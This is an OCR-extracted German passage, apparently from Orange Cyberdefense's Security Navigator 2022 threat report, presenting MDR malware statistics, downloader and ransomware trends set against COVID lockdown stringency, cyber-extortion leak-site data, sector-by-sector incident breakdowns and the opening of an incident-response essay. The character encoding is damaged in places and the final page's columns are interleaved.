Adware stellt dabei die breiteste Kategorie dar und macht tiber
50 % aller identifizierten Malware-Aktivitdten aus.

Wenn wir die Kategorie ,Adware’ und alle anderen vage definierten Events unbericksichtigt lassen wiirden, kommen wir zu 1.022
bestétigten Malware-Aktivitatsereignissen, die wie folgt aufgeschlisselt werden kénnen:

63“

® Backdoor
B Downloader
B Worm
mC2
B Spyware/Keylogger
B Ransomware
Exploit Kit
Click fraud
Botnet Activity
B Spam
B Banker
B Rootkit
Password dumper

Adware ist Malware, die das Gerat eines Ziels infiziert

und den Benutzer anschlieBend mit unerwtinschten und
konstanten Pop-up-Anzeigen Uberschwemmt. Es wird
Werbung auf Computern angezeigt oder Suchergebnisse in
Browsern geéndert, um durch Benutzerklicks Geld fir die
Urheber zu verdienen. Wir ordnen Adware-Programme in
eine umfassendere Kategorie mit potenziell unerwiinschten
Programmen oder Anwendungen (PUP/PUA) ein, die mit
anderen Funktionen geblindelt werden kénnen, womit Einfluss
auf das Surfen im Internet oder die Computernutzung des
Benutzers genommen werden kann.

Command and Control (,C&C’ oder ,C2’) bezieht sich darauf,
wie Angreifer kommunizieren und die infizierten Systeme
kontrollieren. Die meisten Malware-Arten kommunizieren

mit dem vom Angreifer kontrollierten Server (C2-Server), um
entweder Befehle zu empfangen, zusatzliche Komponenten
herunterzuladen oder Informationen zu exfiltrieren.

Click Fraud tritt dann auf, wenn eine Person, ein
automatisiertes Skript oder eine Malware einen berechtigten
Benutzer eines Webbrowsers nachahmt, der auf eine
Online-Anzeige klickt, sodass Websites, die die Anzeigen
veroffentlichen, auf der Grundlage bezahlt werden, wie

viele Besucher auf die Anzeigen klicken. Wir ordnen auch
browserbasiertes Cryptomining dieser Kategorie zu.

Downloader bezieht sich auf Malware, die andere Malware auf
bereits betroffene Systeme herunterladt (und ausfihrt).

Spyware, Keylogger oder Form-Grabber werden erfasst,
wenn Malware versucht, Benutzereingaben oder -aktivitaten
abzufangen.

Wir ordnen ein Verhalten als Worm ein, wenn wir beobachten,
dass Malware versucht, sich auf anderen Systemen oder
Geréaten auszubreiten.

Ransomware kann als eine Untergruppe von Malware
beschrieben werden, bei der die Daten auf dem Computer
eines Opfers gesperrt werden — in der Regel durch
Verschlisselung — und eine Zahlung verlangt wird, bevor die
erpressten Daten entschlisselt werden und dem Opfer der
Zugriff wieder gewahrt wird.

Es gibt verschiedene Erklarungsansatze fur die Variationen, die
wir in diesen verschiedenen Aktivitédtskategorien im Laufe der
Zeit beobachten konnten. Da diese Daten das widerspiegeln,
was wir innerhalb unserer Kundenumgebung beobachten
kénnen, deckt sich das nicht immer genau mit dem, was die
Bedrohungsakteure anstreben.

Die uns vorliegenden Daten zu Downloadern und Ransomware
erweisen sich jedoch als sehr aufschlussreich, insbesondere
wenn wir sie mit anderen uns vorliegenden Daten zur Intensitéat
im Rahmen der COVID-Ausgangsbeschrankungen im Laufe
der Zeit vergleichen.

Der im Balkendiagramm wiedergegebene COVID-
Stringenzindex stammt von der Universitat Oxford. Es
handelt sich um eine zusammengesetzte Kennzahl, die

auf neun Indikatoren basiert, darunter SchulschlieBungen,
ArbeitsplatzschlieBungen und Reiseverbote, und die auf einen
Wert von 0 bis 100 skaliert wurde. Mit anderen Worten, je ndher
sich der Balken dem Wert von 100 annahert, desto groBer
waren die Einschrankungen zu diesem Zeitpunkt. Wir haben
die durchschnittlichen Kennzahlen flir Skandinavien, Benelux,
Deutschland, Frankreich, GroBbritannien und Stidafrika
ermittelt, die den GroBteil unseres operativen Bereichs
ausmachen.

In den anderen beiden Zeilen werden die bestéatigten
Downloader- bzw. Ransomware-Aktivitdten dargestellt.

Downloader vs. Lockdown-Index

Dropper/Downloader, entdeckt in unserem MDR & COVID-Beschrankungen in Europa Downloader ' Lockdown-Index
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Aus der Analyse dieses Diagramms ergeben sich mehrere
Beobachtungen:

1. Wir kdnnen einen deutlichen Riickgang der bestatigten
Downloader-Aktivitét in den Monaten November und
Dezember 2020 nach dem Takedown des Trickbot-Botnets
durch die Strafverfolgungsbehdrden sowie im Januar und
Februar 2021, direkt nach dem Takedown von Emotet,
beobachten. Nach diesen beiden Ereignissen nahm die
Downloader-Aktivitét stetig zu, bis sie im Juli wahrend der
Urlaubszeit in Europa ihren Héhepunkt erreichte.

2. Es scheint eine lose Korrelation zwischen Downloadern,
die den Beginn der Cyber-Kill-Chain darstellen, und
bestatigter Ransomware-Aktivitat, die die letzte Phase der
Kill-Chain darstellt, zu bestehen, was zu erwarten ist. Wir
gehen jedoch davon aus, dass dies eher mit den gleichen
externen Faktoren zusammenhéangt, wodurch beide
Aktivitaten angetrieben werden, als mit der einen Aktivitat,
die die andere verursacht.

3. Downloader- und Ransomware-Aktivitaten scheinen beide
wéahrend der beiden wichtigsten Ferienzeiten des Jahres
— Ostern und Sommer — zuzunehmen. Wir konnten keinen
solchen Anstieg Uber Weihnachten 2020 beobachten.
Allerdings konnte dies an den stérenden Auswirkungen
der Trickbot- und Emotet-Takedowns liegen, was wir zuvor
thematisiert haben.

4. Grundsatzlich scheint es eine inverse Korrelation zwischen
der Stringenz der COVID-Ausgangsbeschrankungen und
dem Umfang der Downloader- und Ransomware-Aktivitat
zu geben. Je konsequenter die Ausgangsbeschrankungen,
desto weniger Aktivitdten konnten wir beobachten. Diese
allgemeine Beobachtung scheint auch fiir andere Formen
von Malware-Aktivitdten zu gelten. Wie wir bereits im
letztjahrigen Bericht festgestellt haben, widerspricht dies
dem vorherrschenden Diskurs, dass Angriffe zunehmen,
sobald Benutzer von zu Hause aus arbeiten.

Die Schlussfolgerung hier scheint daher zu sein, dass die
Mengenentwicklung und Muster der Malware-Aktivitat
Uberwiegend von den Mustern und Verhaltensweisen der
potenziellen Opfer beeinflusst werden und nicht von den
Entscheidungen des Angreifers. Die Ausnahme kdnnen
Urlaubszeiten darstellen, in denen Angreifer ihre Aktivitdten
intensivieren.

Die Aktivitaten der Strafverfolgungsbehdrden haben in diesem
Zusammenhang einen erheblichen Einfluss. Allerdings scheint
dieser nur von kurzer Dauer zu sein, da neue Akteure und
neuen Tools dazu neigen, aufzutauchen, nachdem andere
ausgeschaltet oder verhaftet wurden.

Es durfte auch interessant sein, die Daten, die wir von unseren
Threat Detection-Services gewonnen haben, mit Daten aus der
Beobachtung von Cyber-Extortion-,Leak-Sites’ zu vergleichen,
auf die an anderer Stelle in diesem Bericht ausfiihrlich
eingegangen wird.

Das Betrachten der Daten zweier verschiedener Datensatze
scheint ebenfalls aufschlussreich zu sein:

= Wie bereits erwahnt, besteht eine gewisse Korrelation
zwischen Downloader- und Ransomware-Aktivitaten.

= Es besteht eine starke Korrelation zwischen der Anzahl
der Bedrohungen, die wir auf Leak-Sites beobachten,
und der Zahl der von uns beobachteten unterschiedlichen
Bedrohungsakteure im Bereich der Cyber-Erpressung (wie
wir an anderer Stelle in diesem Bericht diskutiert haben).

= Es scheint eine Korrelation zwischen dem Umfang der
Downloader-Aktivitat, die wir in unserem MDR-Dienst
beobachten kénnen, und der Anzahl der Bedrohungen
zu bestehen, die wir im Laufe der Zeit auf Leak-Sites
wahrnehmen.

= Folglich kdnnen wir zudem eine Korrelation zwischen
der Anzahl der bestétigten Ransomware-Vorfélle, die wir
unseren Daten zur Bedrohungserkennung entnehmen
kénnen, und der Anzahl der Bedrohungen, die wir auf
Cyber-Extortion-Leak-Sites beobachten, erkennen.

Diese Korrelationen sind intuitiv gut zu greifen. Es Uberrascht
uns jedoch etwas, dass sie sich angesichts der Anzahl der
einbezogenen unabhangigen Variablen so trennscharf in den
Daten widerspiegeln lassen.

Das Fazit fir unsere Kunden und andere, die an der
Bekdmpfung der Bedrohung durch Cyber-Erpressung (oder
Cyber Extortion) beteiligt sind, kdnnte vielleicht einfach
folgendermaBen lauten: Erhohte Downloader-Aktivitat flhrt
zu erhbhter Ransomware-Aktivitat, was zu einem erhdhten
Aufkommen von Cyber-Erpressung fuihrt. Der Umfang der
Angriffsaktivitdt scheint mit der Anzahl der Bedrohungsakteure
im Zusammenhang zu stehen. Dies wiederum bedeutet, dass
das Feld der Cyber-Erpressung ein Zahlenspiel ist. Und es
scheint, als ob dieses Problem noch gréBer werden kdnnte,
da immer mehr Kriminelle sich fir diese spezielle Form der
Kriminalitdt entschieden haben.

CyberSOC-Statistiken m ‘

Downloader, Ransomware, Leak-Bedrohungen

Downloader und Ransomware, die bei unseren MDR-Operationen beobachtet wurden &
Leak-Bedrohungen und Bedrohungsakteure, die in unserer Leak-Site-Beobachtung verfolgt wurden

B Downloader bei Kunden entdeckt Ransomware bei Kunden entdeckt Globale Bedrohungsakteure Globale Leak-Bedrohungen
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Gemessen an der Anzahl der Kunden im Datensatz war die
Fertigungsbranche von allen Branchen am haufigsten in
dem diesjahrigen Bericht vertreten. Im vorherigen Bericht
haben wir beobachten kénnen, dass tber 75 % der Vorfalle
in der Fertigung auf Netzwerk- und Anwendungsanomalien
(29,10 %), Malware (21,26 %) und Kontoanomalien (26,54 %)
verteilt waren.

In dieser Ausgabe kdnnen wir beobachten, dass
Malware-Vorfélle mit fast einem Drittel aller Vorfélle in der
Fertigungsindustrie dominieren. Die Zahl der Malware-Vorfalle
erreichte im Marz 2021 erstmals ihren Hohepunkt und stieg im
Juli 2021 erneut an. Wir kdnnen eine groBe Vielfalt an Malware-
Arten beobachten, die von den abgeschwéchten Versionen
wie Adware und potenziell unerwtinschten Programmen

und Anwendungen bis hin zu Cryptomining, erkannten
Downloadern/Droppern oder Ransomware-bezogenen
Vorféllen reichen.

Der Gesundheits- und Sozialsektor macht in diesen Daten

6 % unseres Kundenstamms aus und belegt Platz 7 in Bezug
auf Vorfélle, die in den letzten 12 Monaten aufgetreten sind. Im
Security Navigator 2021 haben wir festgestellt, dass Netzwerk-
und Anwendungsanomalien im Gesundheits- und Sozialbereich
81,01 % der Vorfalle ausmachten, in diesem Jahr ist der Wert
auf 65,90 % gesunken. Damit kam es im Gesundheits- und
Sozialwesen erneut zu den meisten netzwerkbezogenen
Sicherheitsvorféallen. Bei dieser Vorfallsart kdnnen wir
hauptséchlich Eindringversuche, verdachtige abgehende
Verbindungen und die unerlaubte Preisgabe von Informationen
beobachten, was sich mit dem deckt, was wir bereits im letzten
Jahr erfasst haben.

Die Kontoanomalien sind mit 11 % gegentiber dem Vorjahr
konstant geblieben. Bei bestéatigten Vorfallen wie diesen
kann es sich um verdachtige Authentifizierungen, unbefugte
Kontonutzungen oder andere unerwartete Kontodnderungen
handeln.

Der groBte Anstieg in Bezug auf den Anteil der Vorfalle konnte
in den Kategorien Malware (5,52 % -> 15,08 %) und Social
Engineering (0,08 % -> 5,08 %) verzeichnet werden.

20 % aller in diesem Bericht vertretenen Kunden kommen

aus der Finanz- und Versicherungsbranche. Betrachtet man
die reine Vorfallsmenge, die von unseren Analysten bearbeitet
wurde, ergibt sich fur das Finanz- und Versicherungswesen die
vierthdchste Anzahl aller bearbeiteten Vorfélle.

Im vergangenen Jahr stellten wir fest, dass die Kategorie
Netzwerk- und Anwendungsanomalien 37,15 % aller
Problemfélle im Finanz- und Versicherungswesen darstellten.
Im Security Navigator 2022 erreicht diese Kategorie 38,66 %,
was anteilig dem Vorjahr entspricht. Den stéarksten Anstieg gab
es bei den Systemanomalien zu verzeichnen, indem sie sich
im Vergleich zum Vorjahr von 5,07 % auf knapp Uber 10 % fast
verdoppelten. Der Anteil der Vorfalle im Zusammenhang mit
Social Engineering und Kontoanomalien nahm leicht zu. Dieser
Bereich gehdrt nach wie vor zu den Branchen mit den meisten
bestéatigten Social-Engineering-Vorfallen (12 %).
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Netzwerk- und Anwendungsanomalien gingen um fast 6 %
zurtick. Der Anteil der Kontoanomalien sank um mehr als 11 %.
Systemanomalien, RichtlinienverstéBe und Social-Engineering-
Félle haben im Vergleich zum vorangegangenen Zeitraum
geringfligig zugenommen.

Die Fertigung ist die beliebteste Branche, wenn es um

Angriffe durch Gruppen von Cyber-Erpressern geht. In dieser
Branche wurden von uns insgesamt tUber 23 % der Eintrage

im Zusammenhang mit Cyber-Erpressung erfasst; das Ganze
im Zeitraum Januar 2020 bis Oktober 2021. Aus dem Verizon
DBIR 2021 geht hervor, dass Cyber-Erpressung bei 61,2 % der
Malware-bedingten Sicherheitsvorfalle stattgefunden hat. Im
DBIR™ ist zudem von einem ,starken Anstieg’ dieses Faktors
gegenuber dem vorangegangenen Zeitraum die Rede.

Wir haben einen deutlichen Anstieg der Zahl der Phishing-
Angriffe erfasst. Man kann vermuten, dass die Zunahme
der Phishing-Angriffe und der Anstieg der Malware-Vorfalle
zusammenhangen.

Daruiber hinaus kdnnen wir auch feststellen, dass in diesem
Bereich haufig nicht genehmigte Workarounds, potenziell
unerwinschte Programme oder die Installation von Adware
zum Einsatz kommen, die allesamt zur Zunahme bestatigter
Malware-Vorfalle beitragen. Diese Vorfélle werden oft von
Benutzern initiiert und kdnnten unterstreichen, dass der
Gesundheitsbereich seit jeher damit zu kdmpfen hatte, dass
die eigenen Benutzer das groBte Risiko dargestellten — die
Bedrohung durch Insider.

Wir haben festgestellt, dass einige Cyberkriminelle trotz der
Herausforderungen, die die Pandemie an diese ohnehin
schon stark gebeutelte Branche gestellt hat, nicht davor
zurlickschrecken, die Gesundheitsbranche ins Visier zu
nehmen. Uns liegen Hinweise zu 129 Vorféllen vor, aus denen
hervorgeht, dass Gruppen von Cyber-Erpressern daran
beteiligt waren, dass in den letzten 20 Monaten mehrere Opfer
in der Gesundheitsbranche erpresst wurden.

Zu den Kategorien mit einem Riickgang des verhaltnismaBigen
Anteils zahlen Denial-of-Service (2,27 % -> 0,45 %), Malware
(19,30 % -> 14,86 %) und RichtlinienverstoBe (4,03 % ->

1,48 %). Auch im diesjahrigen Bericht konnten wir einen
Rickgang der bestétigten Malware-Félle mit einem Anteil von
rund 14 % verzeichnen.

Wenn wir uns die im Laufe der Zeit entdeckten Vorfalle
ansehen, stellen wir fest, dass wir im Mai 2021 einen Anstieg
der Anzahl der registrierten Vorfélle von 73 % im Vergleich
zum Vormonat verzeichneten. Dieser Anstieg ist auf eine
Zunahme von Eindringversuchen sowie der unerlaubten
Preisgabe von Informationen in Bezug auf Netzwerk- und
Anwendungsanomalien zurtickzuflhren. Ferner kann

eine spurbare Erhdhung der Anzahl von Anomalien im
Zusammenhang mit Kontoauthentifizierungen verzeichnet
werden. Letztere lassen die Handschriften von Credential-
Brute-Force- oder Credential-Stuffing-Attacken erkennen.
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Diese Branche gehort zu der zweitgroBten Kundengruppe, die
im diesjahrigen Security Navigator vertreten ist. Der Anteil der
Social-Engineering-Vorfélle stieg um 6 % auf 13,45 %. Damit
ist es die Branche mit der héchsten Anzahl an erkannten und
bestatigten Social Engineering-Vorféllen.

Gleiches gilt fur die Vorfallsart Systemanomalien, die im
Bereich der freiberuflichen Dienstleistungen 19,64 % aller
bestatigten Vorfalle ausmachen. Dies entspricht dem, was wir
von auBen beobachten kdnnen. Laut dem Data Breach and
Investigations Report, in dem auch hervorgehoben wird, wie
vielfaltig dieser Bereich ist, kann man dort sehr ahnliche Trends
beobachten und folgert daraus, dass die meisten ,Muster’

aus den Bereichen Eindringversuche und Social Engineering
stammen.

Die Anzahl der fir diesen Zeitraum gemeldeten Vorfélle in

der Kategorie Netzwerk- und Anwendungsanomalien ist

im Vergleich zur Anzahl der Vorfélle im vorherigen Zeitraum
(45,91 %) spurbar zurtickgegangen (um 11 %). Gleiches gilt fir
Kontoanomalien, die um mehr als 12 % gesunken sind. Dieser
Bereich weist mit 1,4 % eine der niedrigsten Verteilungen

von Richtlinienverst6Ben auf. Nur die Finanzbranche

Ubertrifft diesen Wert mit nur 1,37 % aller Vorfélle, die als
RichtlinienverstoBe erfasst wurden.

Die Zahl der in dieser Branche verursachten Vorfélle ist
angesichts des kleinen Kundenstamms, der zu diesem
Bereich gehort, proportional hoch. Die Anzahl der Vorfélle im
Zusammenhang mit Netzwerk- und Anwendungsanomalien,
Malware und Systemanomalien ist leicht zurlickgegangen. Der
Anteil der Netzwerk- und Anwendungsanomalien gemessen
an den Gesamtvorfallen in dieser Branche ging von 29,97 %
auf 22,17 % am starksten zurtick. Malware-Vorfalle bleiben

mit einem Anteil von 23 % der bestétigten Erfassungen
unveradndert hoch, was nahezu dem Vorjahreswert entspricht.
Ebenso stieg die Anzahl der Kontoanomalien leicht von

12,86 % auf 13,53 % an. RichtlinienverstéBe nahmen leicht

zu, ebenso wie Social Engineering- und Denial-of-Service-
Vorfélle. In diesem Bereich werden im Vergleich zu den
anderen Branchen die meisten RichtlinienverstéBe verzeichnet.
Das Phishing im Allgemeinen stellte unter den Social-
Engineering-Angriffen den groBten Anteil dar. Darauf folgten
opportunistische Spam-Mails und gezieltere Spear-Phishing-
Vorfélle.
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Es ist sehr schwierig, analytisch nachzuweisen, ob dies daran
liegt, dass die Benutzer in diesem Bereich die Richtlinien

in héherem MaBe einhalten als in anderen Branchen, ob

sie mdglicherweise nicht so viele Richtlinien implementiert
haben oder ob der Fokus der Detection eher auf den anderen
Vorfallsarten liegt.

Die bestétigten Malware-bezogenen Vorfélle waren im
Vergleich zu den anderen Branchen relativ gering, befanden
sich jedoch weitgehend im Einklang mit der Verteilung, die wir
bereits im letzten Jahr beobachten konnten. Im Gegensatz
dazu schatzen wir diese spezielle Branche, die durch die
aktuellen Erpressungstrends im Cyberumfeld belastet wird,
als diejenige ein, die am zweithdufigsten von diesen Angriffen
betroffen ist. Von dem Zeitpunkt an, an dem wir die Erfassung
von Erpressungsdaten im Cyberraum initiiert haben (Jan. 2020),
bis Oktober 2021 konnten wir feststellen, dass sich ca. 16 %
(das entspricht 472 Erpressungsvorféllen im Cyberraum) der
Vorfélle in diesem Sektor ereignet haben.

Bei der Anzahl der beobachteten Vorfélle haben wir drei
sprunghafte Anstiege feststellen kénnen. Der erste sprunghafte
Anstieg ereignete sich im Méarz 2021, gefolgt von jeweils
einem im Mai und Juni 2021. In allen drei Fallen nahmen die
Vorfélle im Zusammenhang mit Malware und Netzwerk- und
Anwendungsanomalien proportional zu. Wenn wir diese Félle
genauer betrachten, kénnen wir eine splrbare Zunahme einer
Vielzahl von Malware-Arten beobachten. Zu den erfassten
Arten gehérten etwa Adware oder potenziell unerwinschte
Programme, Versuche von Malware-Installationen, die

spater bestatigt und behoben wurden oder eine Zunahme
verddchtiger abgehender Verbindungen.

Der Einzelhandel ist gemaB unserer Auflistung von Fallen von
Cyber-Erpressung die am dritthaufigsten betroffene Branche,
wenn es um Sicherheitsverletzungen in Unternehmen geht.
Unsere Daten zeigen, dass in der Vergangenheit die meisten
gréBeren Gruppen von Cyber-Erpressern mit inren Angriffen
auf diese Branche abzielten.

M Malware ™ Netzwerk & Anwendung M Konto M System

Richtlinienverst6Be M Social Engineering ™ Sonstige

www.orangecyberdefense.com



In den meisten Kategorien konnte insgesamt ein

Rickgang der jeweiligen Anteile an Vorfallen verzeichnet
werden, insbesondere bei Kontoanomalien, Malware und
Systemanomalien. Andererseits stieg der Anteil der Vorfélle im
Zusammenhang mit Netzwerk- und Anwendungsanomalien
stark an (11,24 % -> 36,85 %).

Bei néherer Betrachtung der in der Kategorie Netzwerk- und
Anwendungsanomalien gemeldeten Vorfélle kénnen wir
feststellen, dass es bei den Vorféllen schwerpunktmaBig um
die Versuche ging, sich unbefugten Zugriff auf im Internet
exponierte Systeme zu verschaffen. Ferner wurden etwa
Brute-Force-Angriffe ausgefihrt, bei denen versucht wurde,
Zugangsdaten zu erraten. Bei mehreren Versuchen, exponierte
Internetdienste zu untersuchen, konnte festgestellt werden,
dass sie von bekannten schadlichen Quellen stammten.

Wir haben in diesem Jahr einen deutlichen Anstieg des Anteils
der Malware-Vorfélle (30,71 %) in dieser Branche im Vergleich
zum Vorjahr (19,64 %) verzeichnen kénnen. Die Aktivitaten
konzentrierten sich auf versuchte Malware-Installationen

auf Workstations, was bedeutet, dass Malware-Aktivitaten
friihzeitig unterbunden werden konnten. Dieser Trend lie

sich fiir jeden Monat im Bezugszeitraum beobachten. Eine
Ausnahme stellte der Marz 2021 dar, als wir mehrere potenzielle
Folgeaktivitaten beobachteten, zu denen Adware/potenziell
unerwiinschte Programme, Downloader/Dropper, Trojaner
und Banker-Malware gehdrten. Dies fUhrte zu einem Anstieg
der Vorfélle, bei denen Malware auf Workstations installiert
wurde. Die Vorfélle im Zusammenhang mit Netzwerk- und
Anwendungsanomalien waren mit dem gleichen Zeitraum des
Vorjahres vergleichbar, ohne dass sich dabei der Anteil der
Vorfélle spurbar verandert hat.

In dem diesjéhrigen Bericht stammen 4 % der Kunden aus
dem Hotel- und Gastronomiegewerbe. Fir ihre GréBe hat
diese Branche verhaltnismaBig viele Vorfélle zu verzeichnen,
von denen ein betrachtlicher Teil als Malware kategorisiert
werden konnte. Das ist mehr als doppelt so viel wie im Vorjahr,
namlich 41,19 %. Mit unserem gewichteten Ansatz konnten wir
ermitteln, dass Malware nach wie vor die groBte Kategorie pro
Anteil an Vorfallen flr diese Branche darstellt und somit einen
erheblichen Beitrag zum Gesamtergebnis leistet.

Die Anzahl der Vorfélle, die auf Kontoanomalien zurtickgefihrt
werden kénnen, sank deutlich von 25,61 % im Vorjahr auf

0,95 %. Es ist nicht klar, was zu dieser erheblichen
Verringerung beigetragen hat. Eine Erklarung kénnte darin
liegen, dass sich bei den Detection-Leistungen in diesem Jahr
viel stérker auf Malware konzentriert wurde als im Vorjahr. Die
Anzahl der von uns beobachteten Vorfélle im Zusammenhang
mit Social Engineering sank fast ebenso stark von 26,42 % auf
2,91 %.
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Mehr als ein Dutzend Vorfélle zeigten, dass die Multi-
Faktor-Authentifizierung dazu beitrug, versuchte unbefugte
Kontozugriffe zu blockieren, da die Angreifer diese Kontrollen
nicht umgehen konnten.

In Bezug auf das Ranking auf unserer Auflistung von

Fallen von Cyber-Erpressung befindet sich der Bereich der
Immobilienbranche am unteren Ende unseres Datensatzes.
Einige der aggressiveren Gruppen von Cyber-Erpressern wie
Conti, REvil, LockBit2 und die relativ neue Gruppe Hive haben
jeweils ihre Opfer in dieser Branche ausmachen kénnen.

Die Tatsache, dass dieser Bereich im Ranking auf unserer
Auflistung von Féllen von Cyber-Erpressung eher unten
angesiedelt ist, sollte nicht als Grund verstanden werden, sich
in Sicherheit zu wiegen.

Im Februar 2021 gab es einen starken Anstieg des
verddchtigen abgehenden Datenverkehrs. Allerdings konnte
keine eindeutige Korrelation zu Malware oder anomalen
Kontoaktivitdten nachgewiesen werden.

Als Kontoanomalien kategorisierte Vorfélle gingen zuriick,

da der Anteil der Vorfalle von 20,83 % auf knapp 17 % sank.

Im zweiten und dritten Quartal 2021 haben wir zahlreiche
Anomalien im Zusammenhang mit Authentifizierungen
beobachtet. Ungeféhr zur gleichen Zeit konnten wir Félle von
missbrauchlichen Verwendungen von Administratorkonten
beobachten. Dies konnte auf Brute-Force-Angriffe auf
Anmeldeinformationen von privilegierten Accounts hindeuten.
Es ist jedoch eine eingehendere Untersuchung erforderlich, um
zu ermitteln, ob diesbezlglich eine direkte Verbindung besteht.

Wir glauben nicht unbedingt, dass diese Branche weniger
Social-Engineering-Angriffen ausgesetzt war. Es bedeutet
lediglich, dass wir im Vergleich zum letzten Jahr weniger
bestatigte Vorfélle vorliegen haben.

Der Anteil der Vorfélle im Zusammenhang mit Netzwerk-
und Anwendungsanomalien sank von 4,20 % auf 2,45 %.
Ebenso ist die Anzahl der Vorfélle im Zusammenhang mit
RichtlinienverstéBen im Vergleich zum vorangegangenen
Zeitraum geringfligig zurlickgegangen. Die auf Denial-of-
Service und Systemanomalien zuriickzufiihrenden Vorfalle
stiegen leicht an.

Im Verizon DBIR 2021 wird dieser Bereich der Malware, der
direkt von Angreifern installiert wird, ausdrticklich erwahnt.

Die beobachteten Arten von Malware sind unterschiedlich,
umfassen jedoch Backdoors, Command-and-Control, Trojaner,
Ransomware, Remote-Access-Trojaner sowie Spyware/
Keylogger.
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94.806 ist eine groBe Zahl, die man erstmal einordnen muss. Aus operativer
Sicht und wenn man bedenkt, dass jeder dieser potenziellen Vorfalle auf dem
Schreibtisch eines Analysten landete, ist der damit verbundene Zeit- und
Energieaufwand nahezu Uberwaltigend.

Wie kann man all diesen Daten irgendeinen Sinn geben oder aus ihnen eine
Bedeutung ableiten?

Das erste, was uns auffillt, ist das Verhaltnis von ,True’- zu ,False’-Positives.
64 % aller Sicherheitssignale, mit denen sich unsere Analysten beschéftigt
haben, waren nur Nebengerdusche. Es handelte sich dabei um eine
regelrechte Kakophonie von Alarmen und Benachrichtigungen, die letztendlich
einem gewissen Grad an Paranoia geschuldet waren oder die sich als gutartig
erwiesen haben. Damit ist ein enormer Arbeitseinsatz verbunden. Wir kdnnen
zwar erkennen, dass es fir den Mehrwert spricht, den wir als Serviceanbieter
schaffen: ndmlich das Sichten der ganzen ,Nebengerausche’ fir unsere
Kunden, um die verwertbaren ,Signale’ zu finden. Es lasst sich jedoch nicht
verschweigen, dass Sicherheitstechnologien besser werden kénnen und es
auch mussen.

Die nachste Beobachtung, die sich anflhren I&sst, ist, wie ahnlich sich alle
Geschichten sind. Wir bemiihen uns, die besonderen Herausforderungen
nachzuvollziehen, denen Kleinunternehmen, der Fertigungssektor oder unsere
Kunden in Stdafrika ausgesetzt sind. Letzten Endes haben sie es vielfach mit
ahnlichen Herausforderungen wie knarrenden Technologie-Stacks, echten
menschlichen ,Nutzern’ und einem gerissenen und erbarmungslosen Gegner
zu tun. Die Sicherheitsbedrohung und die Erfahrung des Opfers in den
verschiedenen Demografien weisen mehr Gemeinsamkeiten als Unterschiede
auf.

Letztendlich sind wir schockiert, wie schlecht unsere Aussichten sind. Wir
flhren einen Kampf, um Licht ins Dunkel unserer Telemetrietechnologie sowie
menschlicher Gewohnheiten zu bringen, damit wir unseren Gegnern Namen,
Gesichter, Motive und Methoden geben kénnen. Ziel dabei ist, deren Strategien
zu erfassen und ihre Plane zu untergraben. Diese Bemiihungen werden durch
die Beschrankungen der von uns getroffenen Annahmen erschwert. Und egal
wie ,aufschlussreich’ wir unsere Daten einschatzen mogen, erzahlen wir alle
doch nur einen Teil der Geschichte.

Die einzige authentische Geschichte ist vielleicht die der Opfer, deren Identitat
verletzt, deren Ersparnisse vernichtet oder deren Traume oder Realitaten
durch eine Sicherheitsliicke zunichte gemacht werden. Dies ist die eigentliche
Perspektive, die uns motivieren und unsere Bemuhungen ausrichten sollte,
wenn es darum geht zu bestimmen, welche, wo und wann wir unsere
Ressourcen in puncto Security investieren.
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D I e H O u r : Unentschlossenheit vorzuziehen. Bei der Untersuchung sowie der Ursachenanalyse tappt

, P . . das Incident-Response-Team oft bei der Suche nach
- ° Maimonides fehlenden Puzzleteilen im Dunkeln. Diese Faktoren

der InCIdent Response : flhren zu Zweifeln und Unentschlossenheit.
[ )
° In solchen Féllen gehen die Analysten oft davon aus,

dass der Incident durch eine oder mehrere Varianten

Als CSIRT Corllsultant kann ich nicht oft genug bet?pen, wie w_ichtig t?in effektives Wissen ist nur die halbe Miste. Wenn der Alarm ertént einer Sicherheitsverletzung verursacht wurde, ohne
Management innerhalb der ersten Stunde eines kritischen Incidents ist. miissen wir uns schnell beruhigen und damit an fanger;, Gewissheit dariiber zu haben. Unter diesen Umstanden
Herauszufinden, was zu tun ist, stellt im Falle eines kritischen Incidents haufig eine uns die erste Frage zu stellen: ,Was soll ich in der ersten ~ Wird empfohlen, von der wahrscheinlichsten Ursache
Herkulesaufgabe dar. Dariiber hinaus hindert das Gefilhl des Unbehagens Incident-Response- Stunde tun?* Im Paper ,,Phases of a Critical Incident“ auszugehen und entsprechend zu handeln. In der ersten
Analysten oft daran, effektive Entscheidungen zu treffen. Um einen Sicherheitsvorfall erfolgreich wird die erste Stunde eines kritischen Ereignisses als Stunde hat der Faktor Zeit oberste Prioritat. Es ist wie

zu bewiltigen, ist es jedoch entscheidend, einen kiihlen Kopf zu bewahren und entsprechende Krisenphase’ bezeichnet, ,die durch Verwirrung, Panik, bei einer Schulpriifung, bei der Sie auch nur begrenzte
MaBnahmen zu planen. In diesem Abschnitt soll auf die folgenden Punkte eingegangen dem Eilen zum Ereignisort sowie einer Uberlastung Zeit zur Verfigung haben: iberspringen Sie zuerst die

gekennzeichnet ist."' Eingespielte CSIRT-Analysten tun  Fragen, bei denen Sie nicht weiterkommen.
gut daran, bei ihren Untersuchungen ein gewisses MaB3
an Urteilsvermdgen walten zu lassen.

werden, um die Leser dabei zu unterstiitzen, bessere Verfahren zur Incident Response zu
entwickeln.

Heutzutage wird der Einddmmungsprozess bei Incidents

Tingyang Wei, Security Analyst, oft durch die weit verbreiteten Endpoint Detection

° Andererseits sind sie in vielen Szenarien anfillig fiir die and Response (EDR) Technologien vereinfacht, die
L Intransparenz von Informationen, die Unfahigkeit, eine Funktionen zur Netzwerkeindammung auf Knopfdruck
. . ° Loésung in klirzester Zeit zu finden, sowie das Fehlen ermoglichen. Dennoch ist die Eindammung von
”Wenn Du Delnen Felnd kennst und t einer operativen Befugnis_ In solchen Zeiten muss das Sich?rheitlsbedrohunge.n |m NetZWe.rk Selbst.mit
Dich selbst kennst, brauchst Du |ncident_Response_Team die Sache selbst in die Hand herkdmmlichen Tools nicht immer einfach. Die Menschen
. nehmen, sein Fachwissen klar kommunizieren und seine ~ Wahlen nicht immer die sicherere Option, wenn diese
das Ergebnls von 100 SchIaChten geplanten MaBnahmen konsequent durchsetzen. Ver‘ngbal’ ist. DOC.h, wie heiBt es so schon: Vorsicht ist
nicht zu furchten.” besser als Nachsicht.
Sun Tzu :
:0.‘...O...0.0‘O0.0....0.00
(]
[ )
. ,Wenn man das Unmogliche
Bevor sich Security Analysten eines Incidents annehmen kénnen, missen sie vorab °
eine Vielzahl von Informationen verarbeiten. Zunachst mussen sich Incident-Response- 4 ?US.QGSCI:“OSS-en hat’ mL!SS c!as, was
